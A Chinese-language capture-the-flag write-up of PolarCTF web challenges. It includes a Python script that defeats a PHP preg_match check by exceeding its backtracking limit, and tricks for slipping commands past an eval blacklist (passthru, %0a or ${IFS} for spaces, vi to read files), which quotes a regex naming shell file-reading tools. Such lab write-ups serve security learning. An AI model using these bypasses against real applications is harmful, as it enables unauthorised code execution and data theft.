静以养心,宽以养气。
跟着Dream ZHO大神学专升安的一天
swp
直接dirb扫出.index.php.swp的目录
function jiuzhe($xdmtql){return preg_match('/sys.*nb/is',$xdmtql);//如果包含以 "sys" 开始,后跟任意字符直到 "nb" 的字符串,返回true
}$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){//非数组if(!jiuzhe($xdmtql)){if(strpos($xdmtql,'sys nb')!==false){如果$xdmtql匹配到sys nb则输出flag{*******}echo 'flag{*******}';}else{echo 'true .swp file?';}}else{echo 'nijilenijile';}
}
我们要想得到flag要满足:$xdmtql非数组,不匹配/sys.*nb/is,但是要匹配strpos($xdmtql,'sys nb')为true
这样我们可以用回溯绕过,pre_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。直接上脚本。
import requests
request=requests.post('http://24aac5d4-fc13-414a-8c21-62130c090777.www.polarctf.com:8090/',data={'xdmtql':'sys nb'+'-'*1000000})
print(request.text)
简单rce
<?php
/*PolarD&N CTF*/
highlight_file(__FILE__);
function no($txt){if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){return $txt;}else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){eval(no($_GET['sys']));}else{echo "nonono";
}
?> nonono
这题过滤了cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen这么多函数,但是他过滤,关我什么事,我们仍可以用echo和passthru来查看目录,空格用%0a或{$IFS}代替,读取文件用vi。
下面直接开打!!!
蜜雪冰城吉警店
只要把任意id改为9即可
召唤神龙
直接看源码,发现js有jsfuck编码
在浏览器解密一下就出来了
seek flag
查看源码一眼robots.txt
发现了flag3,那我们再找另两部分
抓个包看看
发现flag2,将id设为1发现flag1